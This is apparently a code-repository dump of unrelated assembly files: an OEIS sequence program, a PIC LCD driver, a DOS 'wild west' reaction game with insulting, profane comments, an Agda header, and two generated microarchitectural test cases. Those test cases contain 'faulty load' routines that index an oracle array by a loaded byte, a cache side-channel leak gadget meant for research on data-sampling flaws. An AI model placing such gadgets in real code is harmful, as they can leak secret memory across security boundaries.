lea addresses_normal_ht+0x7b3d, %rdi
nop
nop
nop
nop
nop
dec %rbp
mov $70, %rcx
rep movsw
nop
nop
nop
cmp %rcx, %rcx
lea addresses_WT_ht+0x1c5fd, %r15
clflush (%r15)
nop
nop
nop
add %r12, %r12
mov (%r15), %esi
nop
nop
nop
add %r15, %r15
lea addresses_WC_ht+0x12341, %rsi
nop
nop
nop
nop
nop
and %r15, %r15
movups (%rsi), %xmm1
vpextrq $1, %xmm1, %rbp
nop
nop
xor $21480, %rdi
lea addresses_A_ht+0xd07c, %rsi
nop
nop
cmp %rdi, %rdi
mov (%rsi), %r12
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_UC_ht+0xf871, %rsi
lea addresses_A_ht+0x194b1, %rdi
nop
nop
nop
inc %r9
mov $119, %rcx
rep movsq
nop
nop
nop
nop
sub %r13, %r13
lea addresses_normal_ht+0x35f9, %r13
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, (%r13)
nop
nop
xor $20053, %r13
lea addresses_WT_ht+0x1b4b1, %r15
cmp $43134, %rcx
mov (%r15), %esi
nop
nop
nop
nop
nop
sub $9729, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r9
push %rbp
push %rdx
push %rsi
// Store
lea addresses_UC+0xdd99, %rsi
inc %r14
movl $0x51525354, (%rsi)
nop
cmp %r14, %r14
// Store
lea addresses_PSE+0xa9a1, %r14
inc %rdx
movl $0x51525354, (%r14)
nop
nop
sub %r9, %r9
// Faulty Load
lea addresses_US+0x1dcb1, %rdx
nop
nop
inc %rbp
mov (%rdx), %r10
lea oracles, %rdx
and $0xff, %r10
shlq $12, %r10
mov (%rdx,%r10,1), %r10
pop %rsi
pop %rdx
pop %rbp
pop %r9
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': True}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
programs/oeis/055/A055038.asm | jmorken/loda | 1 | 167102 | ; A055038: Number of numbers <= n with an odd number of prime factors (counted with multiplicity).
; 0,1,2,2,3,3,4,5,5,5,6,7,8,8,8,8,9,10,11,12,12,12,13,13,13,13,14,15,16,17,18,19,19,19,19,19,20,20,20,20,21,22,23,24,25,25,26,27,27,28,28,29,30,30,30,30,30,30,31,31,32,32,33,33,33,34,35,36,36,37,38,39,40,40,41,42,42,43,44,45,45,45,46,46,46,46,46,46,47,47,47,48,48,48,48,48,49,50,51,51,52,53,54,54,55,55,56,57,58,59,59,60,61,62,62,63,64,64,64,65,65,65,65,66,67,67,68,69,69,70,71,71,71,71,71,71,72,73,74,74,74,74,74,74,74,74,75,76,77,77,78,78,79,80,80,80,81,81,81,81,81,82,83,84,85,85,86,87,87,88,89,90,91,92,93,94,94,94,95,96,97,98,98,98,98,99,99,100,100,101,102,103,104,104,105,105,106,106,107,108,108,108,108,108,108,108,109,110,110,110,111,112,112,112,112,112,112,112,112,112,112,113,114,114,114,114,115,115,116,117,118,118,119,119,119,120,120,121,122,122,123,124,125,126,127,128,128,128,128,128
mov $2,$0
mov $6,$0
lpb $2
mov $0,$6
sub $2,1
sub $0,$2
cal $0,8836 ; Liouville's function lambda(n) = (-1)^k, where k is number of primes dividing n (counted with multiplicity).
div $3,4
add $3,$0
mov $5,1
mul $5,$3
sub $5,1
mul $5,10
pow $5,4
mov $4,$5
div $4,159998
add $1,$4
lpe
|
PROGRAM/LCD.asm | AhmedNaguib-Freelancer/PROJECT-13-Microcontroller-LCD- | 0 | 100018 | <gh_stars>0
_main:
;LCD.c,18 :: void main() {
;LCD.c,19 :: Lcd_Init(); // Initialize LCD
CALL _Lcd_Init+0
;LCD.c,21 :: Lcd_Cmd(_LCD_CLEAR); // Clear display
MOVLW 1
MOVWF FARG_Lcd_Cmd_out_char+0
CALL _Lcd_Cmd+0
;LCD.c,22 :: Lcd_Cmd(_LCD_CURSOR_OFF); // Cursor off
MOVLW 12
MOVWF FARG_Lcd_Cmd_out_char+0
CALL _Lcd_Cmd+0
;LCD.c,23 :: Lcd_Out(1,1,"HELLO EVERY BODY"); // Write text in first row
MOVLW 1
MOVWF FARG_Lcd_Out_row+0
MOVLW 1
MOVWF FARG_Lcd_Out_column+0
MOVLW ?lstr1_LCD+0
MOVWF FARG_Lcd_Out_text+0
CALL _Lcd_Out+0
;LCD.c,24 :: Delay_ms(2000);
MOVLW 21
MOVWF R11+0
MOVLW 75
MOVWF R12+0
MOVLW 190
MOVWF R13+0
L_main0:
DECFSZ R13+0, 1
GOTO L_main0
DECFSZ R12+0, 1
GOTO L_main0
DECFSZ R11+0, 1
GOTO L_main0
NOP
;LCD.c,25 :: Lcd_Cmd(_LCD_CLEAR); // Clear display
MOVLW 1
MOVWF FARG_Lcd_Cmd_out_char+0
CALL _Lcd_Cmd+0
;LCD.c,26 :: Lcd_Out(2,1,"<NAME>"); // Write text in first row
MOVLW 2
MOVWF FARG_Lcd_Out_row+0
MOVLW 1
MOVWF FARG_Lcd_Out_column+0
MOVLW ?lstr2_LCD+0
MOVWF FARG_Lcd_Out_text+0
CALL _Lcd_Out+0
;LCD.c,28 :: }
L_end_main:
GOTO $+0
; end of _main
|
wildwest.asm | gergesh/wildwest | 0 | 165061 | ; Project made by <NAME>.
; The image files should be 320x200, 256 color BMPs.
; When I wrote this thing, only God and I knew how it worked.
; Today? He stands alone.
IDEAL
MODEL small
STACK 100h
DATASEG
played db 0 ; used to flag whether we should show insturctions or not
fails db 0 ; used for main menu fail counting
oneSec db ?
loopUntil db ?
waitSeconds db ?
waitMilli db ?
; ------------------------------ SCORE PRINTING -------------------------------
wPointsCountMsg db 13,10,'W key has ','$' ; 13, 10 maybe?
upPointsCountMsg db 13,10,'Up key has ','$',13,10
pointsMsg db ' points. $'
lineDown db 13,10,'$'
upPointsCount db 0
wPointsCount db 0
divisorTable db 10,1,0
tieMsg db 13,10,'It is a tie!', 13, 10, '$'
upWonMsg db 13,10,'Up key won!', 13, 10, '$'
wWonMsg db 13,10,'W key won!', 13, 10, '$'
upNoPointsMsg db 13,10,'Up key has no points at all! :( $'
wNoPointsMsg db 13,10,'W key has no points at all! :( $'
haventPlayedMsg db 13,10,'Seems like you did not bother playing at all :( $'
; ------------------------------------ KEYS -----------------------------------
enterkey equ 1Ch
downarrow equ 50h
uparrow equ 48h
wkey equ 11h
spacebar equ 39h
esckey equ 1h
; ----------------------------- BMP PRINTING VARS -----------------------------
bmp_test db 'test.bmp',0
filehandle dw ?
currentlyopen dw ? ; used to store the file that's currently open
openflag db ? ; 1 = a file is open. 0 = a file isn't open.
Header db 54 dup (0)
Palette db 256*4 dup (0)
ScrLine db 320 dup (0)
ErrorMsg db 'Error opening a file, bleep bloop.',13,10,'$'
; ---------------------------------- IMAGES -----------------------------------
bmp_mainMenu db 'mainmenu.bmp',0
bmp_onefail db 'onef.bmp',0
bmp_twofails db 'twof.bmp',0
bmp_threefails db 'threef.bmp',0
bmp_fourfails db 'fourf.bmp',0
bmp_fivefails db 'fivef.bmp',0
bmp_mainMenuQuitSelected db 'quit.bmp',0
bmp_mainMenuPlaySelected db 'play.bmp',0
bmp_gameInstructions db 'instr.bmp',0
bmp_gameInstructionsTwo db 'instrtwo.bmp',0
bmp_countdownthree db 'three.bmp',0
bmp_countdowntwo db 'two.bmp',0
bmp_countdownone db 'one.bmp',0
bmp_notyet db 'notyet.bmp',0
bmp_shoot db 'shoot.bmp',0
bmp_upWon db 'upwon.bmp',0
bmp_wWon db 'wwon.bmp',0
bmp_getready db 'getready.bmp',0
CODESEG ; --------------------------- CODE ------------------------------------
; ------------------------------ SCORE PRINTING -------------------------------
proc printNumber
push ax
push bx
push dx
mov bx, offset divisorTable
nextDigit:
xor ah, ah
div [byte ptr bx] ; al - quotinent, ah - remainder, ax/bx scores/divtable
add al, '0'
call PrintCharacter
mov al, ah
add bx, 1
cmp [byte ptr bx], 0
jne nextDigit
pop dx
pop bx
pop ax
ret
endp printNumber
proc printCharacter
push ax
push dx
mov ah, 2
mov dl, al
int 21h
pop dx
pop ax
ret
endp printCharacter
; -------------------------- END SCORE PRINTING -----------------------------
proc WaitForKeypress ; ah = scancode, al = ASCII
mov ah, 0
int 16h
cmp ah, 1h
je escpressed
ret
escpressed:
call SwitchToText
mov ax, 4c00h
int 21h
endp WaitForKeypress
proc WaitAnyKeypress
push ax
mov ah, 0
int 16h
cmp ah, 1h ; esc key
je escpressed
pop ax
ret
endp WaitAnyKeypress
proc GetKeypress ;scancode in ah, ascii in al
WaitingLoop:
mov ah, 1
int 16h
jz WaitingLoop
mov ah, 0 ; if we've reached this point, there's a key in the buffer
int 16h ; let's read it!
ret
endp GetKeypress
proc PushAll ; not used
pop di
push ax
push bx
push cx
push dx
push si
push di
ret
endp PushAll
proc PopAll ; not used
pop di
pop si
pop dx
pop cx
pop bx
pop ax
push di
ret
endp PopAll
proc SwitchToGraphic
push ax
mov ax, 13h
int 10h
pop ax
ret
endp SwitchToGraphic
proc SwitchToText
push ax
mov ax, 0002h
int 10h
pop ax
ret
endp SwitchToText
proc OpenFile ; file offset should be in dx
mov ah, 3Dh
xor al, al
; mov dx, offset filename
int 21h
jc openerror
mov [filehandle], ax
mov [currentlyopen], ax
mov [openflag], 1
ret
openerror:
mov dx, offset ErrorMsg
mov ah, 9h
int 21h
ret
endp OpenFile
proc CloseFile ; can't have too many files open
mov ah, 3Eh
mov bx, [currentlyopen]
int 21h
mov [openflag], 0
ret
endp CloseFile
proc ReadHeader
mov ah, 3fh
mov bx, [filehandle]
mov cx, 54
mov dx, offset Header
int 21h
ret
endp ReadHeader
proc ReadPalette
mov ah, 3fh
mov cx, 400h
mov dx, offset palette
int 21h
ret
endp ReadPalette
proc CopyPal
mov si, offset Palette
mov cx, 256
mov dx, 3C8h
mov al, 0
out dx, al
inc dx
PalLoop:
mov al, [si+2]
shr al, 2
out dx, al
mov al, [si+1]
shr al, 2
out dx, al
mov al, [si]
shr al, 2
out dx, al
add si, 4
loop PalLoop
ret
endp CopyPal
proc CopyBitmap
mov ax, 0A000h
mov es, ax
mov cx, 200
PrintBMPLoop:
push cx
mov di, cx
shl cx, 6
shl di, 8
add di, cx
mov ah, 3fh
mov cx, 320
mov dx, offset ScrLine
int 21h
cld
mov ax, 320
mov si, offset ScrLine
rep movsb
pop cx
loop PrintBMPLoop
ret
endp CopyBitmap
proc PrintBMPFile ;you should have the bmp's offset in dx
cmp [openflag], 0
je nofileopen
call CloseFile
nofileopen:
call OpenFile
call ReadHeader
call ReadPalette
call CopyPal
call CopyBitmap
ret
endp PrintBMPFile
proc WaitASecond
push ax
push cx
push dx
mov ah, 2Ch
int 21h ; get time. seconds in dh, milliseconds in dl.
cmp dh, 59
je resetSeconds
afterResetSeconds:
mov [waitSeconds], dh
mov [waitMilli], dl
WaitASecondLoop:
mov ah, 1
int 16h
jnz somethingWasPressed ; needed to check if they pressed ESC
mov ah, 2Ch
int 21h ; get time
mov ch, dh
sub ch, 2
cmp ch, [waitSeconds]
je doneWaiting ; in case when testing ms were very high
cmp dh, [waitSeconds]
je WaitASecondLoop ; if we're at the same second, check again later
cmp dl, [waitMilli]
jl WaitASecondLoop
doneWaiting:
pop dx
pop cx
pop ax
ret
resetSeconds:
sub dh, 60
jmp afterResetSeconds
somethingWasPressed:
mov ah, 0
int 16h
cmp ah, esckey
jne WaitASecondLoop
call SwitchToText
mov ax, 4C00h
int 21h
endp WaitASecond
proc WaitASecondOld ; completely halts the program for a second.
push ax
push cx
push dx
mov cx, 0Fh
mov dx, 4240h
mov ah, 86h
int 15h
pop dx
pop cx
pop ax
ret
endp WaitASecondOld
proc GetScancode ; The scan code will get placed in al
WaitForScancodeLoop:
in al, 64h
cmp al, 10b ; Is the buffer empty?
je WaitForScancodeLoop
in al, 60h
cmp al, 1 ; ESC button
je killme
ret
killme:
call SwitchToText
mov ax, 4c00h
int 21h
endp GetScancode
start:
mov ax, @data
mov ds, ax
call SwitchToGraphic
mainMenu: ; Main menu section. This will let the players pick 'play' or 'quit'
mov dx, offset bmp_mainMenu ; MAIN MENU bmp file
call PrintBMPFile
xor cx, cx ; cx will later act as the fail counter
mainMenuSelect:
call WaitForKeypress ; returns scancode in al
cmp ah, uparrow
je mainMenuPlaySelected
cmp ah, downarrow
je mainMenuQuitSelected
; jmp mainMenuSelect ; uncomment to enable no fails mode - DEBUG
mainMenuFail: ; if the code has reached this point, it means the user has
; typed an invalid key. We will count his fails and fuck him up.
mov dl, [fails]
inc dl
mov [fails], dl
; now we will see how many times user has failed, punish him appropriately
cmp [fails], 1
je onefail
cmp [fails], 2
je twofails
cmp [fails], 3
je threefails
cmp [fails], 4
je fourfails
cmp [fails], 5
je fivefails ; the last straw
onefail:
mov dx, offset bmp_onefail ; press one of the arrow buttons ya dip
call PrintBMPFile
jmp mainMenuSelect
twofails:
mov dx, offset bmp_twofails ; either the up or down keys
call PrintBMPFile
jmp mainMenuSelect
threefails:
mov dx, offset bmp_threefails ; holy shit, are you fucking retarded
call PrintBMPFile
jmp mainMenuSelect
fourfails:
mov dx, offset bmp_fourfails ; do it ONE more time.
call PrintBMPFile
jmp mainMenuSelect
fivefails:
mov dx, offset bmp_fivefails ; done playing, FUCK OFF message
call PrintBMPFile
call WaitASecond
jmp exit
mainMenuPlaySelected:
mov dx, offset bmp_mainMenuPlaySelected
call PrintBMPFile
mainMenuPlaySelectedTwo:
call WaitForKeypress
cmp ah, downarrow
je mainMenuQuitSelected
cmp ah, enterkey
je beforePlaying_Bridge
cmp ah, spacebar
je beforePlaying_Bridge
jmp mainMenuPlaySelectedTwo
mainMenuQuitSelected:
mov dx, offset bmp_mainMenuQuitSelected
call PrintBMPFile
mainMenuQuitSelectedTwo:
call WaitForKeypress
cmp ah, uparrow
je mainMenuPlaySelected
cmp ah, spacebar
je QuitAndShowScores
cmp ah, enterkey
jne mainMenuQuitSelectedTwo ; no need in printing again
; code reaching this point means the user has pressed enter.
; we shall display the scores and quit the game.
QuitAndShowScores:
call SwitchToText
printWPoints:
cmp [wPointsCount], 0
je wNoPoints
mov dx, offset wPointsCountMsg
mov ah, 9
int 21h
xor ax, ax
mov al, [wPointsCount]
call printNumber ; we now have w's score printed
mov dx, offset pointsMsg
mov ah, 9
int 21h
jmp printUpPoints
wNoPoints:
cmp [upPointsCount], 0
je haventPlayed
mov dx, offset wNoPointsMsg
mov ah, 9
int 21h
; moving here means w has no points and up has
; so we don't need to jump
printUpPoints:
cmp [upPointsCount], 0
je upNoPoints
mov dx, offset upPointsCountMsg
mov ah, 9
int 21h
xor ax, ax
mov al, [upPointsCount]
call printNumber
mov dx, offset pointsMsg
mov ah, 9
int 21h
jmp whoWon
upNoPoints:
mov dx, offset upNoPointsMsg
mov ah, 9
int 21h
jmp whoWon
beforePlaying_Bridge:
jmp beforePlaying
; was too far for one jump
haventPlayed:
mov dx, offset haventPlayedMsg
mov ah, 9
int 21h
mov ax, 4C00h ; exit the program
int 21h
whoWon:
; let's print a blank line first
mov dx, offset lineDown
mov ah, 9
int 21h
; checking who won
mov al, [upPointsCount]
mov ah, [wPointsCount]
cmp al, ah
jg printUpWonMsg
je printTieMsg
; reaching this point means W won
mov dx, offset wWonMsg
printBeforeQuitting:
mov ah, 9
int 21h
mov ax, 4C00h ; quitting here.
int 21h
printUpWonMsg:
mov dx, offset upWonMsg
jmp printBeforeQuitting
printTieMsg:
mov dx, offset tieMsg
jmp printBeforeQuitting
beforePlaying: ; no need in showing the instructions a second time
cmp [played], 1
je playTheGame
gameInstructions:
mov dx, offset bmp_gameInstructions
call PrintBMPFile
call WaitASecond ; we don't want them to accidentally skip this.
gameInstructionsAfterWait:
mov dx, offset bmp_gameInstructionsTwo
call PrintBMPFile
call WaitAnyKeypress
playTheGame:
mov dx, offset bmp_getready
call PrintBMPFile
; call WaitASecond ; give them a second to get ready
; mov dx, offset bmp_countdownthree
; call PrintBMPFile
; call WaitASecond
; mov dx, offset bmp_countdowntwo
; call PrintBMPFile
; call WaitASecond
; mov dx, offset bmp_countdownone
; call PrintBMPFile
; call WaitASecond
; mov dx, offset bmp_notyet
; --------------------------- uncomment these lines for countdown -------------
randomNumber:
mov ah, 2Ch
int 21h ; time is now in ch:cl:dh:dl
and dl, 00000111b ; max is 7
inc dl ; making sure they have at least one second
add dl, dh ; we want to loop until currsec+rand[1-7]
cmp dl, 59
jle SaveLoopUntil ; if it won't flow, no reason to change anything
sub dl, 60 ; the timer will flow to the next minute, so we'll adjust accordingly
SaveLoopUntil:
mov [loopUntil], dl
; wait for a new second to start the timer
mov ah, 2Ch ; get curr time
int 21h
mov [oneSec], dh ; save current second
WaitForTick:
int 21h
cmp dh, [oneSec]
je WaitForTick ; as long as we are in the same second, keep looping.
LoopWhileChecking:
mov ah, 2Ch
int 21h ; get time, seonds in dh
cmp dh, [loopUntil]
je ShootingAllowed
mov ah, 1
int 16h ; read keyboard status
jz LoopWhileChecking
mov ah, 0
int 16h ; we now have the key
cmp ah, uparrow
je wWon
cmp ah, wkey
je upWon
cmp ah, esckey
je exit
loop LoopWhileChecking
; if we've reached this point, it means the times is done. Players should be able
; to shoot now.
ShootingAllowed:
mov dx, offset bmp_shoot
call PrintBMPFile
scanwhopressed:
; waiting for input, no need for complex loops now
call WaitForKeypress
cmp ah, uparrow
je upWon
cmp ah, wkey
je wWon
jmp scanwhopressed
wWon:
mov [played], 1
add [wPointsCount], 1
mov dx, offset bmp_wWon
call PrintBMPFile
call WaitASecond
jmp mainMenuPlaySelected
upWon:
mov [played], 1
add [upPointsCount], 1
mov dx, offset bmp_upWon
call PrintBMPFile
call WaitASecond
jmp mainMenuPlaySelected
exit:
call SwitchToText
mov ax, 4c00h
int 21h
END start ; finito la comedia
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_48.asm | ljhsiun2/medusa | 9 | 86207 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %rcx
push %rdx
push %rsi
lea addresses_normal_ht+0x863b, %rcx
nop
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm4
movups %xmm4, (%rcx)
nop
cmp %rdx, %rdx
pop %rsi
pop %rdx
pop %rcx
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rax
push %rbp
push %rbx
// Faulty Load
mov $0x5e90e800000004fb, %r13
nop
nop
nop
nop
nop
xor %r11, %r11
movb (%r13), %al
lea oracles, %r14
and $0xff, %rax
shlq $12, %rax
mov (%r14,%rax,1), %rax
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_NC', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 3}, 'OP': 'STOR'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
oeis/083/A083315.asm | neoneye/loda-programs | 11 | 81041 | <gh_stars>10-100
; A083315: (2*5^n-(4^n-2^n))/2.
; Submitted by <NAME>(s1)
; 1,4,19,97,505,2629,13609,69997,357985,1822309,9241849,46731997,235754065,1187152789,5969306089,29980723597,150440439745,754349584069,3780337658329,18936047636797,94817676351025,474638135996149
mov $1,5
pow $1,$0
mov $2,2
pow $2,$0
bin $2,2
sub $1,$2
mov $0,$1
|
src/fot/LTC-PCF/Base/Properties.agda | asr/fotc | 11 | 4162 | <filename>src/fot/LTC-PCF/Base/Properties.agda
------------------------------------------------------------------------------
-- LTC-PCF terms properties
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
